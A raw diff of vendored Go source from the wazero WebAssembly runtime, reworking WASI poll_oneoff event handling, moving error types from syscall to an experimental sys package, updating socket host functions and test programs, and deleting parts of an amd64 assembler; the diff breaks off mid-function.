||||
// The timeout is initialized at max Duration, the loop will find the minimum.
|
||||
var timeout time.Duration = 1<<63 - 1
|
||||
// Count of all the clock subscribers that have been already written back to outBuf.
|
||||
clockEvents := uint32(0)
|
||||
// Count of all the non-clock subscribers that have been already written back to outBuf.
|
||||
readySubs := uint32(0)
|
||||
// Count of all the subscriptions that have been already written back to outBuf.
|
||||
// nevents*32 returns at all times the offset where the next event should be written:
|
||||
// this way we ensure that there are no gaps between records.
|
||||
nevents := uint32(0)
|
||||
|
||||
// Layout is subscription_u: Union
|
||||
// https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#subscription_u
|
||||
for i := uint32(0); i < nsubscriptions; i++ {
|
||||
inOffset := i * 48
|
||||
outOffset := i * 32
|
||||
outOffset := nevents * 32
|
||||
|
||||
eventType := inBuf[inOffset+8] // +8 past userdata
|
||||
// +8 past userdata +8 contents_offset
|
||||
@@ -110,12 +110,10 @@ func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) syscall.Er
|
||||
eventType: eventType,
|
||||
userData: userData,
|
||||
errno: wasip1.ErrnoSuccess,
|
||||
outOffset: outOffset,
|
||||
}
|
||||
|
||||
switch eventType {
|
||||
case wasip1.EventTypeClock: // handle later
|
||||
clockEvents++
|
||||
newTimeout, err := processClockEvent(argBuf)
|
||||
if err != 0 {
|
||||
return err
|
||||
@@ -125,69 +123,76 @@ func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) syscall.Er
|
||||
timeout = newTimeout
|
||||
}
|
||||
// Ack the clock event to the outBuf.
|
||||
writeEvent(outBuf, evt)
|
||||
writeEvent(outBuf[outOffset:], evt)
|
||||
nevents++
|
||||
case wasip1.EventTypeFdRead:
|
||||
fd := int32(le.Uint32(argBuf))
|
||||
if fd < 0 {
|
||||
return syscall.EBADF
|
||||
return sys.EBADF
|
||||
}
|
||||
if fd == internalsys.FdStdin {
|
||||
// if the fd is Stdin, do not ack yet,
|
||||
// append to a slice for delayed evaluation.
|
||||
stdinSubs = append(stdinSubs, evt)
|
||||
if file, ok := fsc.LookupFile(fd); !ok {
|
||||
evt.errno = wasip1.ErrnoBadf
|
||||
writeEvent(outBuf[outOffset:], evt)
|
||||
nevents++
|
||||
} else if fd != internalsys.FdStdin && file.File.IsNonblock() {
|
||||
writeEvent(outBuf[outOffset:], evt)
|
||||
nevents++
|
||||
} else {
|
||||
evt.errno = processFDEventRead(fsc, fd)
|
||||
writeEvent(outBuf, evt)
|
||||
readySubs++
|
||||
// if the fd is Stdin, and it is in blocking mode,
|
||||
// do not ack yet, append to a slice for delayed evaluation.
|
||||
blockingStdinSubs = append(blockingStdinSubs, evt)
|
||||
}
|
||||
case wasip1.EventTypeFdWrite:
|
||||
fd := int32(le.Uint32(argBuf))
|
||||
if fd < 0 {
|
||||
return syscall.EBADF
|
||||
return sys.EBADF
|
||||
}
|
||||
evt.errno = processFDEventWrite(fsc, fd)
|
||||
readySubs++
|
||||
writeEvent(outBuf, evt)
|
||||
if _, ok := fsc.LookupFile(fd); ok {
|
||||
evt.errno = wasip1.ErrnoNotsup
|
||||
} else {
|
||||
evt.errno = wasip1.ErrnoBadf
|
||||
}
|
||||
nevents++
|
||||
writeEvent(outBuf[outOffset:], evt)
|
||||
default:
|
||||
return syscall.EINVAL
|
||||
return sys.EINVAL
|
||||
}
|
||||
}
|
||||
|
||||
// If there are subscribers with data ready, we have already written them to outBuf,
|
||||
// and we don't need to wait for the timeout: clear it.
|
||||
if readySubs != 0 {
|
||||
timeout = 0
|
||||
sysCtx := mod.(*wasm.ModuleInstance).Sys
|
||||
if nevents == nsubscriptions {
|
||||
// We already wrote back all the results. We already wrote this number
|
||||
// earlier to offset `resultNevents`.
|
||||
// We only need to observe the timeout (nonzero if there are clock subscriptions)
|
||||
// and return.
|
||||
if timeout > 0 {
|
||||
sysCtx.Nanosleep(int64(timeout))
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
// If there are stdin subscribers, check for data with given timeout.
|
||||
if len(stdinSubs) > 0 {
|
||||
stdin, ok := fsc.LookupFile(internalsys.FdStdin)
|
||||
if !ok {
|
||||
return syscall.EBADF
|
||||
// If there are blocking stdin subscribers, check for data with given timeout.
|
||||
stdin, ok := fsc.LookupFile(internalsys.FdStdin)
|
||||
if !ok {
|
||||
return sys.EBADF
|
||||
}
|
||||
// Wait for the timeout to expire, or for some data to become available on Stdin.
|
||||
|
||||
if stdinReady, errno := stdin.File.Poll(fsapi.POLLIN, int32(timeout.Milliseconds())); errno != 0 {
|
||||
return errno
|
||||
} else if stdinReady {
|
||||
// stdin has data ready to for reading, write back all the events
|
||||
for i := range blockingStdinSubs {
|
||||
evt := blockingStdinSubs[i]
|
||||
evt.errno = 0
|
||||
writeEvent(outBuf[nevents*32:], evt)
|
||||
nevents++
|
||||
}
|
||||
// Wait for the timeout to expire, or for some data to become available on Stdin.
|
||||
stdinReady, errno := stdin.File.PollRead(&timeout)
|
||||
if errno != 0 {
|
||||
return errno
|
||||
}
|
||||
if stdinReady {
|
||||
// stdin has data ready to for reading, write back all the events
|
||||
for i := range stdinSubs {
|
||||
readySubs++
|
||||
evt := stdinSubs[i]
|
||||
evt.errno = 0
|
||||
writeEvent(outBuf, evt)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// No subscribers, just wait for the given timeout.
|
||||
sysCtx := mod.(*wasm.ModuleInstance).Sys
|
||||
sysCtx.Nanosleep(int64(timeout))
|
||||
}
|
||||
|
||||
if readySubs != nsubscriptions {
|
||||
if !mod.Memory().WriteUint32Le(resultNevents, readySubs+clockEvents) {
|
||||
return syscall.EFAULT
|
||||
if nevents != nsubscriptions {
|
||||
if !mod.Memory().WriteUint32Le(resultNevents, nevents) {
|
||||
return sys.EFAULT
|
||||
}
|
||||
}
|
||||
|
||||
@@ -196,20 +201,20 @@ func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) syscall.Er
|
||||
|
||||
// processClockEvent supports only relative name events, as that's what's used
|
||||
// to implement sleep in various compilers including Rust, Zig and TinyGo.
|
||||
func processClockEvent(inBuf []byte) (time.Duration, syscall.Errno) {
|
||||
func processClockEvent(inBuf []byte) (time.Duration, sys.Errno) {
|
||||
_ /* ID */ = le.Uint32(inBuf[0:8]) // See below
|
||||
timeout := le.Uint64(inBuf[8:16]) // nanos if relative
|
||||
_ /* precision */ = le.Uint64(inBuf[16:24]) // Unused
|
||||
flags := le.Uint16(inBuf[24:32])
|
||||
|
||||
var err syscall.Errno
|
||||
var err sys.Errno
|
||||
// subclockflags has only one flag defined: subscription_clock_abstime
|
||||
switch flags {
|
||||
case 0: // relative time
|
||||
case 1: // subscription_clock_abstime
|
||||
err = syscall.ENOTSUP
|
||||
err = sys.ENOTSUP
|
||||
default: // subclockflags has only one flag defined.
|
||||
err = syscall.EINVAL
|
||||
err = sys.EINVAL
|
||||
}
|
||||
|
||||
if err != 0 {
|
||||
@@ -223,29 +228,12 @@ func processClockEvent(inBuf []byte) (time.Duration, syscall.Errno) {
|
||||
}
|
||||
}
|
||||
|
||||
// processFDEventRead returns ErrnoSuccess if the file exists and ErrnoBadf otherwise.
|
||||
func processFDEventRead(fsc *internalsys.FSContext, fd int32) wasip1.Errno {
|
||||
if _, ok := fsc.LookupFile(fd); ok {
|
||||
return wasip1.ErrnoSuccess
|
||||
} else {
|
||||
return wasip1.ErrnoBadf
|
||||
}
|
||||
}
|
||||
|
||||
// processFDEventWrite returns ErrnoNotsup if the file exists and ErrnoBadf otherwise.
|
||||
func processFDEventWrite(fsc *internalsys.FSContext, fd int32) wasip1.Errno {
|
||||
if _, ok := fsc.LookupFile(fd); ok {
|
||||
return wasip1.ErrnoNotsup
|
||||
}
|
||||
return wasip1.ErrnoBadf
|
||||
}
|
||||
|
||||
// writeEvent writes the event corresponding to the processed subscription.
|
||||
// https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#-event-struct
|
||||
func writeEvent(outBuf []byte, evt *event) {
|
||||
copy(outBuf[evt.outOffset:], evt.userData) // userdata
|
||||
outBuf[evt.outOffset+8] = byte(evt.errno) // uint16, but safe as < 255
|
||||
outBuf[evt.outOffset+9] = 0
|
||||
le.PutUint32(outBuf[evt.outOffset+10:], uint32(evt.eventType))
|
||||
copy(outBuf, evt.userData) // userdata
|
||||
outBuf[8] = byte(evt.errno) // uint16, but safe as < 255
|
||||
outBuf[9] = 0
|
||||
le.PutUint32(outBuf[10:], uint32(evt.eventType))
|
||||
// TODO: When FD events are supported, write outOffset+16
|
||||
}
|
||||
Generated
Vendored
+6
-6
@@ -3,9 +3,9 @@ package wasi_snapshot_preview1
|
||||
import (
|
||||
"context"
|
||||
"io"
|
||||
"syscall"
|
||||
|
||||
"github.com/tetratelabs/wazero/api"
|
||||
"github.com/tetratelabs/wazero/experimental/sys"
|
||||
"github.com/tetratelabs/wazero/internal/wasip1"
|
||||
"github.com/tetratelabs/wazero/internal/wasm"
|
||||
)
|
||||
@@ -21,8 +21,8 @@ import (
|
||||
// Result (Errno)
|
||||
//
|
||||
// The return value is ErrnoSuccess except the following error conditions:
|
||||
// - syscall.EFAULT: `buf` or `bufLen` point to an offset out of memory
|
||||
// - syscall.EIO: a file system error
|
||||
// - sys.EFAULT: `buf` or `bufLen` point to an offset out of memory
|
||||
// - sys.EIO: a file system error
|
||||
//
|
||||
// For example, if underlying random source was seeded like
|
||||
// `rand.NewSource(42)`, we expect api.Memory to contain:
|
||||
@@ -36,19 +36,19 @@ import (
|
||||
// See https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#-random_getbuf-pointeru8-bufLen-size---errno
|
||||
var randomGet = newHostFunc(wasip1.RandomGetName, randomGetFn, []api.ValueType{i32, i32}, "buf", "buf_len")
|
||||
|
||||
func randomGetFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno {
|
||||
func randomGetFn(_ context.Context, mod api.Module, params []uint64) sys.Errno {
|
||||
sysCtx := mod.(*wasm.ModuleInstance).Sys
|
||||
randSource := sysCtx.RandSource()
|
||||
buf, bufLen := uint32(params[0]), uint32(params[1])
|
||||
|
||||
randomBytes, ok := mod.Memory().Read(buf, bufLen)
|
||||
if !ok { // out-of-range
|
||||
return syscall.EFAULT
|
||||
return sys.EFAULT
|
||||
}
|
||||
|
||||
// We can ignore the returned n as it only != byteCount on error
|
||||
if _, err := io.ReadAtLeast(randSource, randomBytes, int(bufLen)); err != nil {
|
||||
return syscall.EIO
|
||||
return sys.EIO
|
||||
}
|
||||
|
||||
return 0
|
||||
|
||||
Generated
Vendored
+2
-2
@@ -2,9 +2,9 @@ package wasi_snapshot_preview1
|
||||
|
||||
import (
|
||||
"context"
|
||||
"syscall"
|
||||
|
||||
"github.com/tetratelabs/wazero/api"
|
||||
"github.com/tetratelabs/wazero/experimental/sys"
|
||||
"github.com/tetratelabs/wazero/internal/wasip1"
|
||||
"github.com/tetratelabs/wazero/internal/wasm"
|
||||
)
|
||||
@@ -15,7 +15,7 @@ import (
|
||||
// See https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#-sched_yield---errno
|
||||
var schedYield = newHostFunc(wasip1.SchedYieldName, schedYieldFn, nil)
|
||||
|
||||
func schedYieldFn(_ context.Context, mod api.Module, _ []uint64) syscall.Errno {
|
||||
func schedYieldFn(_ context.Context, mod api.Module, _ []uint64) sys.Errno {
|
||||
sysCtx := mod.(*wasm.ModuleInstance).Sys
|
||||
sysCtx.Osyield()
|
||||
return 0
|
||||
|
||||
Generated
Vendored
+21
-20
@@ -2,9 +2,9 @@ package wasi_snapshot_preview1
|
||||
|
||||
import (
|
||||
"context"
|
||||
"syscall"
|
||||
|
||||
"github.com/tetratelabs/wazero/api"
|
||||
"github.com/tetratelabs/wazero/experimental/sys"
|
||||
socketapi "github.com/tetratelabs/wazero/internal/sock"
|
||||
"github.com/tetratelabs/wazero/internal/sysfs"
|
||||
"github.com/tetratelabs/wazero/internal/wasip1"
|
||||
@@ -23,7 +23,7 @@ var sockAccept = newHostFunc(
|
||||
"fd", "flags", "result.fd",
|
||||
)
|
||||
|
||||
func sockAcceptFn(_ context.Context, mod api.Module, params []uint64) (errno syscall.Errno) {
|
||||
func sockAcceptFn(_ context.Context, mod api.Module, params []uint64) (errno sys.Errno) {
|
||||
mem := mod.Memory()
|
||||
fsc := mod.(*wasm.ModuleInstance).Sys.FS()
|
||||
|
||||
@@ -50,7 +50,7 @@ var sockRecv = newHostFunc(
|
||||
"fd", "ri_data", "ri_data_len", "ri_flags", "result.ro_datalen", "result.ro_flags",
|
||||
)
|
||||
|
||||
func sockRecvFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno {
|
||||
func sockRecvFn(_ context.Context, mod api.Module, params []uint64) sys.Errno {
|
||||
mem := mod.Memory()
|
||||
fsc := mod.(*wasm.ModuleInstance).Sys.FS()
|
||||
|
||||
@@ -63,13 +63,13 @@ func sockRecvFn(_ context.Context, mod api.Module, params []uint64) syscall.Errn
|
||||
|
||||
var conn socketapi.TCPConn
|
||||
if e, ok := fsc.LookupFile(fd); !ok {
|
||||
return syscall.EBADF // Not open
|
||||
return sys.EBADF // Not open
|
||||
} else if conn, ok = e.File.(socketapi.TCPConn); !ok {
|
||||
return syscall.EBADF // Not a conn
|
||||
return sys.EBADF // Not a conn
|
||||
}
|
||||
|
||||
if riFlags & ^(wasip1.RI_RECV_PEEK|wasip1.RI_RECV_WAITALL) != 0 {
|
||||
return syscall.ENOTSUP
|
||||
return sys.ENOTSUP
|
||||
}
|
||||
|
||||
if riFlags&wasip1.RI_RECV_PEEK != 0 {
|
||||
@@ -78,16 +78,16 @@ func sockRecvFn(_ context.Context, mod api.Module, params []uint64) syscall.Errn
|
||||
// This means that the first `uint32` is a `buf *uint8`.
|
||||
firstIovecBufAddr, ok := mem.ReadUint32Le(riData)
|
||||
if !ok {
|
||||
return syscall.EINVAL
|
||||
return sys.EINVAL
|
||||
}
|
||||
// Read bufLen
|
||||
firstIovecBufLen, ok := mem.ReadUint32Le(riData + 4)
|
||||
if !ok {
|
||||
return syscall.EINVAL
|
||||
return sys.EINVAL
|
||||
}
|
||||
firstIovecBuf, ok := mem.Read(firstIovecBufAddr, firstIovecBufLen)
|
||||
if !ok {
|
||||
return syscall.EINVAL
|
||||
return sys.EINVAL
|
||||
}
|
||||
n, err := conn.Recvfrom(firstIovecBuf, sysfs.MSG_PEEK)
|
||||
if err != 0 {
|
||||
@@ -122,7 +122,7 @@ var sockSend = newHostFunc(
|
||||
"fd", "si_data", "si_data_len", "si_flags", "result.so_datalen",
|
||||
)
|
||||
|
||||
func sockSendFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno {
|
||||
func sockSendFn(_ context.Context, mod api.Module, params []uint64) sys.Errno {
|
||||
mem := mod.Memory()
|
||||
fsc := mod.(*wasm.ModuleInstance).Sys.FS()
|
||||
|
||||
@@ -133,14 +133,14 @@ func sockSendFn(_ context.Context, mod api.Module, params []uint64) syscall.Errn
|
||||
resultSoDatalen := uint32(params[4])
|
||||
|
||||
if siFlags != 0 {
|
||||
return syscall.ENOTSUP
|
||||
return sys.ENOTSUP
|
||||
}
|
||||
|
||||
var conn socketapi.TCPConn
|
||||
if e, ok := fsc.LookupFile(fd); !ok {
|
||||
return syscall.EBADF // Not open
|
||||
return sys.EBADF // Not open
|
||||
} else if conn, ok = e.File.(socketapi.TCPConn); !ok {
|
||||
return syscall.EBADF // Not a conn
|
||||
return sys.EBADF // Not a conn
|
||||
}
|
||||
|
||||
bufSize, errno := writev(mem, siData, siDataCount, conn.Write)
|
||||
@@ -157,7 +157,7 @@ func sockSendFn(_ context.Context, mod api.Module, params []uint64) syscall.Errn
|
||||
// See: https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#-sock_shutdownfd-fd-how-sdflags---errno
|
||||
var sockShutdown = newHostFunc(wasip1.SockShutdownName, sockShutdownFn, []wasm.ValueType{i32, i32}, "fd", "how")
|
||||
|
||||
func sockShutdownFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno {
|
||||
func sockShutdownFn(_ context.Context, mod api.Module, params []uint64) sys.Errno {
|
||||
fsc := mod.(*wasm.ModuleInstance).Sys.FS()
|
||||
|
||||
fd := int32(params[0])
|
||||
@@ -165,23 +165,24 @@ func sockShutdownFn(_ context.Context, mod api.Module, params []uint64) syscall.
|
||||
|
||||
var conn socketapi.TCPConn
|
||||
if e, ok := fsc.LookupFile(fd); !ok {
|
||||
return syscall.EBADF // Not open
|
||||
return sys.EBADF // Not open
|
||||
} else if conn, ok = e.File.(socketapi.TCPConn); !ok {
|
||||
return syscall.EBADF // Not a conn
|
||||
return sys.EBADF // Not a conn
|
||||
}
|
||||
|
||||
sysHow := 0
|
||||
|
||||
switch how {
|
||||
case wasip1.SD_RD | wasip1.SD_WR:
|
||||
sysHow = syscall.SHUT_RD | syscall.SHUT_WR
|
||||
sysHow = socketapi.SHUT_RD | socketapi.SHUT_WR
|
||||
case wasip1.SD_RD:
|
||||
sysHow = syscall.SHUT_RD
|
||||
sysHow = socketapi.SHUT_RD
|
||||
case wasip1.SD_WR:
|
||||
sysHow = syscall.SHUT_WR
|
||||
sysHow = socketapi.SHUT_WR
|
||||
default:
|
||||
return syscall.EINVAL
|
||||
return sys.EINVAL
|
||||
}
|
||||
|
||||
// TODO: Map this instead of relying on syscall symbols.
|
||||
return conn.Shutdown(sysHow)
|
||||
}
|
||||
File renamed without changes.
Generated
Vendored
-45
@@ -1,45 +0,0 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net"
|
||||
"os"
|
||||
)
|
||||
|
||||
func main() {
|
||||
switch os.Args[1] {
|
||||
case "sock":
|
||||
if err := mainSock(); err != nil {
|
||||
panic(err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func mainSock() error {
|
||||
// Get a listener from the pre-opened file descriptor.
|
||||
// The listener is the first pre-open, with a file-descriptor of 3.
|
||||
f := os.NewFile(3, "")
|
||||
l, err := net.FileListener(f)
|
||||
defer f.Close()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer l.Close()
|
||||
|
||||
// Accept a connection
|
||||
conn, err := l.Accept()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
// Do a blocking read of up to 32 bytes.
|
||||
// Note: the test should write: "wazero", so that's all we should read.
|
||||
var buf [32]byte
|
||||
n, err := conn.Read(buf[:])
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
fmt.Println(string(buf[:n]))
|
||||
return nil
|
||||
}
|
||||
+2
@@ -29,8 +29,10 @@ func main() {
|
||||
}
|
||||
case "sock":
|
||||
// TODO: undefined: net.FileListener
|
||||
// See https://github.com/tinygo-org/tinygo/pull/2748
|
||||
case "nonblock":
|
||||
// TODO: undefined: syscall.SetNonblock
|
||||
// See https://github.com/tinygo-org/tinygo/issues/3840
|
||||
}
|
||||
}
|
||||
|
||||
Generated
Vendored
BIN
Binary file not shown.
Generated
Vendored
+26
@@ -162,6 +162,30 @@ void main_sock() {
|
||||
}
|
||||
}
|
||||
|
||||
void main_nonblock(char* fpath) {
|
||||
struct timespec tim, tim2;
|
||||
tim.tv_sec = 0;
|
||||
tim.tv_nsec = 100 * 1000000; // 100 msec
|
||||
int fd = open(fpath, O_RDONLY | O_NONBLOCK);
|
||||
char buf[32];
|
||||
ssize_t newLen = 0;
|
||||
while (newLen == 0) {
|
||||
newLen = read(fd, buf, sizeof(buf));
|
||||
// If an empty string is read, newLen might be 1,
|
||||
// causing the loop to terminate.
|
||||
if (strlen(buf) == 0) {
|
||||
newLen = 0;
|
||||
}
|
||||
if (errno == EAGAIN || newLen == 0) {
|
||||
printf(".");
|
||||
nanosleep(&tim , &tim2) ;
|
||||
continue;
|
||||
}
|
||||
}
|
||||
printf("\n%s\n", buf);
|
||||
close(fd);
|
||||
}
|
||||
|
||||
int main(int argc, char** argv) {
|
||||
if (strcmp(argv[1],"ls")==0) {
|
||||
bool repeat = false;
|
||||
@@ -193,6 +217,8 @@ int main(int argc, char** argv) {
|
||||
main_open_wronly();
|
||||
} else if (strcmp(argv[1],"sock")==0) {
|
||||
main_sock();
|
||||
} else if (strcmp(argv[1],"nonblock")==0) {
|
||||
main_nonblock(argv[2]);
|
||||
} else {
|
||||
fprintf(stderr, "unknown command: %s\n", argv[1]);
|
||||
return 1;
|
||||
|
||||
Generated
Vendored
BIN
Binary file not shown.
Generated
Vendored
+1
-1
@@ -12,5 +12,5 @@ pub fn build(b: *std.build.Builder) void {
|
||||
.optimize = optimize,
|
||||
});
|
||||
|
||||
exe.install();
|
||||
std.Build.installArtifact(b, exe);
|
||||
}
|
||||
Generated
Vendored
+5
-5
@@ -19,10 +19,10 @@ package wasi_snapshot_preview1
|
||||
import (
|
||||
"context"
|
||||
"encoding/binary"
|
||||
"syscall"
|
||||
|
||||
"github.com/tetratelabs/wazero"
|
||||
"github.com/tetratelabs/wazero/api"
|
||||
"github.com/tetratelabs/wazero/experimental/sys"
|
||||
"github.com/tetratelabs/wazero/internal/wasip1"
|
||||
"github.com/tetratelabs/wazero/internal/wasm"
|
||||
)
|
||||
@@ -229,18 +229,18 @@ func exportFunctions(builder wazero.HostModuleBuilder) {
|
||||
// writeOffsetsAndNullTerminatedValues is used to write NUL-terminated values
|
||||
// for args or environ, given a pre-defined bytesLen (which includes NUL
|
||||
// terminators).
|
||||
func writeOffsetsAndNullTerminatedValues(mem api.Memory, values [][]byte, offsets, bytes, bytesLen uint32) syscall.Errno {
|
||||
func writeOffsetsAndNullTerminatedValues(mem api.Memory, values [][]byte, offsets, bytes, bytesLen uint32) sys.Errno {
|
||||
// The caller may not place bytes directly after offsets, so we have to
|
||||
// read them independently.
|
||||
valuesLen := len(values)
|
||||
offsetsLen := uint32(valuesLen * 4) // uint32Le
|
||||
offsetsBuf, ok := mem.Read(offsets, offsetsLen)
|
||||
if !ok {
|
||||
return syscall.EFAULT
|
||||
return sys.EFAULT
|
||||
}
|
||||
bytesBuf, ok := mem.Read(bytes, bytesLen)
|
||||
if !ok {
|
||||
return syscall.EFAULT
|
||||
return sys.EFAULT
|
||||
}
|
||||
|
||||
// Loop through the values, first writing the location of its data to
|
||||
@@ -285,7 +285,7 @@ func newHostFunc(
|
||||
|
||||
// wasiFunc special cases that all WASI functions return a single Errno
|
||||
// result. The returned value will be written back to the stack at index zero.
|
||||
type wasiFunc func(ctx context.Context, mod api.Module, params []uint64) syscall.Errno
|
||||
type wasiFunc func(ctx context.Context, mod api.Module, params []uint64) sys.Errno
|
||||
|
||||
// Call implements the same method as documented on api.GoModuleFunction.
|
||||
func (f wasiFunc) Call(ctx context.Context, mod api.Module, stack []uint64) {
|
||||
|
||||
-98
@@ -1,98 +0,0 @@
|
||||
package amd64
|
||||
|
||||
import (
|
||||
"github.com/tetratelabs/wazero/internal/asm"
|
||||
)
|
||||
|
||||
// Assembler is the interface used by amd64 compiler.
|
||||
type Assembler interface {
|
||||
asm.AssemblerBase
|
||||
|
||||
// CompileJumpToMemory adds jump-type instruction whose destination is stored in the memory address specified by `baseReg+offset`,
|
||||
// and returns the corresponding Node in the assembled linked list.
|
||||
CompileJumpToMemory(jmpInstruction asm.Instruction, baseReg asm.Register, offset asm.ConstantValue)
|
||||
|
||||
// CompileRegisterToRegisterWithArg adds an instruction where source and destination
|
||||
// are `from` and `to` registers.
|
||||
CompileRegisterToRegisterWithArg(instruction asm.Instruction, from, to asm.Register, arg byte)
|
||||
|
||||
// CompileMemoryWithIndexToRegister adds an instruction where source operand is the memory address
|
||||
// specified as `srcBaseReg + srcOffsetConst + srcIndex*srcScale` and destination is the register `dstReg`.
|
||||
// Note: sourceScale must be one of 1, 2, 4, 8.
|
||||
CompileMemoryWithIndexToRegister(
|
||||
instruction asm.Instruction,
|
||||
srcBaseReg asm.Register,
|
||||
srcOffsetConst int64,
|
||||
srcIndex asm.Register,
|
||||
srcScale int16,
|
||||
dstReg asm.Register,
|
||||
)
|
||||
|
||||
// CompileMemoryWithIndexAndArgToRegister is the same as CompileMemoryWithIndexToRegister except that this
|
||||
// also accepts one argument.
|
||||
CompileMemoryWithIndexAndArgToRegister(
|
||||
instruction asm.Instruction,
|
||||
srcBaseReg asm.Register,
|
||||
srcOffsetConst int64,
|
||||
srcIndex asm.Register,
|
||||
srcScale int16,
|
||||
dstReg asm.Register,
|
||||
arg byte,
|
||||
)
|
||||
|
||||
// CompileRegisterToMemoryWithIndex adds an instruction where source operand is the register `srcReg`,
|
||||
// and the destination is the memory address specified as `dstBaseReg + dstOffsetConst + dstIndex*dstScale`
|
||||
// Note: dstScale must be one of 1, 2, 4, 8.
|
||||
CompileRegisterToMemoryWithIndex(
|
||||
instruction asm.Instruction,
|
||||
srcReg asm.Register,
|
||||
dstBaseReg asm.Register,
|
||||
dstOffsetConst int64,
|
||||
dstIndex asm.Register,
|
||||
dstScale int16,
|
||||
)
|
||||
|
||||
// CompileRegisterToMemoryWithIndexAndArg is the same as CompileRegisterToMemoryWithIndex except that this
|
||||
// also accepts one argument.
|
||||
CompileRegisterToMemoryWithIndexAndArg(
|
||||
instruction asm.Instruction,
|
||||
srcReg asm.Register,
|
||||
dstBaseReg asm.Register,
|
||||
dstOffsetConst int64,
|
||||
dstIndex asm.Register,
|
||||
dstScale int16,
|
||||
arg byte,
|
||||
)
|
||||
|
||||
// CompileRegisterToConst adds an instruction where source operand is the register `srcRegister`,
|
||||
// and the destination is the const `value`.
|
||||
CompileRegisterToConst(instruction asm.Instruction, srcRegister asm.Register, value int64) asm.Node
|
||||
|
||||
// CompileRegisterToNone adds an instruction where source operand is the register `register`,
|
||||
// and there's no destination operand.
|
||||
CompileRegisterToNone(instruction asm.Instruction, register asm.Register)
|
||||
|
||||
// CompileNoneToRegister adds an instruction where destination operand is the register `register`,
|
||||
// and there's no source operand.
|
||||
CompileNoneToRegister(instruction asm.Instruction, register asm.Register)
|
||||
|
||||
// CompileNoneToMemory adds an instruction where destination operand is the memory address specified
|
||||
// as `baseReg+offset`. and there's no source operand.
|
||||
CompileNoneToMemory(instruction asm.Instruction, baseReg asm.Register, offset int64)
|
||||
|
||||
// CompileConstToMemory adds an instruction where source operand is the constant `value` and
|
||||
// the destination is the memory address specified as `dstBaseReg+dstOffset`.
|
||||
CompileConstToMemory(instruction asm.Instruction, value int64, dstBaseReg asm.Register, dstOffset int64) asm.Node
|
||||
|
||||
// CompileMemoryToConst adds an instruction where source operand is the memory address, and
|
||||
// the destination is the constant `value`.
|
||||
CompileMemoryToConst(instruction asm.Instruction, srcBaseReg asm.Register, srcOffset int64, value int64) asm.Node
|
||||
|
||||
// CompileStaticConstToRegister adds an instruction where the source operand is asm.StaticConst located in the
|
||||
// memory and the destination is the dstReg.
|
||||
CompileStaticConstToRegister(instruction asm.Instruction, c *asm.StaticConst, dstReg asm.Register) error
|
||||
|
||||
// CompileRegisterToStaticConst adds an instruction where the destination operand is asm.StaticConst located in the
|
||||
// memory and the source is the srcReg.
|
||||
CompileRegisterToStaticConst(instruction asm.Instruction, srcReg asm.Register, c *asm.StaticConst) error
|
||||
}
|
||||
-1248
File diff suppressed because it is too large.
Load diff
-2812
File diff suppressed because it is too large.
Load diff
Generated
Vendored
-181
@@ -1,181 +0,0 @@
|
||||
package amd64
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"math"
|
||||
|
||||
"github.com/tetratelabs/wazero/internal/asm"
|
||||
)
|
||||
|
||||
// defaultMaxDisplacementForConstantPool is the maximum displacement allowed for literal move instructions which access
|
||||
// the constant pool. This is set as 2 ^30 conservatively while the actual limit is 2^31 since we actually allow this
|
||||
// limit plus max(length(c) for c in the pool) so we must ensure that limit is less than 2^31.
|
||||
const defaultMaxDisplacementForConstantPool = 1 << 30
|
||||
|
||||
func (a *AssemblerImpl) maybeFlushConstants(buf asm.Buffer, isEndOfFunction bool) {
|
||||
if a.pool.Empty() {
|
||||
return
|
||||
}
|
||||
|
||||
if isEndOfFunction ||
|
||||
// If the distance between (the first use in binary) and (end of constant pool) can be larger
|
||||
// than MaxDisplacementForConstantPool, we have to emit the constant pool now, otherwise
|
||||
// a const might be unreachable by a literal move whose maximum offset is +- 2^31.
|
||||
((a.pool.PoolSizeInBytes+buf.Len())-int(a.pool.FirstUseOffsetInBinary)) >= a.MaxDisplacementForConstantPool {
|
||||
|
||||
if !isEndOfFunction {
|
||||
// Adds the jump instruction to skip the constants if this is not the end of function.
|
||||
//
|
||||
// TODO: consider NOP padding for this jump, though this rarely happens as most functions should be
|
||||
// small enough to fit all consts after the end of function.
|
||||
if a.pool.PoolSizeInBytes >= math.MaxInt8-2 {
|
||||
// long (near-relative) jump: https://www.felixcloutier.com/x86/jmp
|
||||
buf.AppendByte(0xe9)
|
||||
buf.AppendUint32(uint32(a.pool.PoolSizeInBytes))
|
||||
} else {
|
||||
// short jump: https://www.felixcloutier.com/x86/jmp
|
||||
buf.AppendByte(0xeb)
|
||||
buf.AppendByte(byte(a.pool.PoolSizeInBytes))
|
||||
}
|
||||
}
|
||||
|
||||
for _, c := range a.pool.Consts {
|
||||
c.SetOffsetInBinary(uint64(buf.Len()))
|
||||
buf.AppendBytes(c.Raw)
|
||||
}
|
||||
|
||||
a.pool.Reset()
|
||||
}
|
||||
}
|
||||
|
||||
func (a *AssemblerImpl) encodeRegisterToStaticConst(buf asm.Buffer, n *nodeImpl) (err error) {
|
||||
var opc []byte
|
||||
var rex byte
|
||||
switch n.instruction {
|
||||
case CMPL:
|
||||
opc, rex = []byte{0x3b}, rexPrefixNone
|
||||
case CMPQ:
|
||||
opc, rex = []byte{0x3b}, rexPrefixW
|
||||
default:
|
||||
return errorEncodingUnsupported(n)
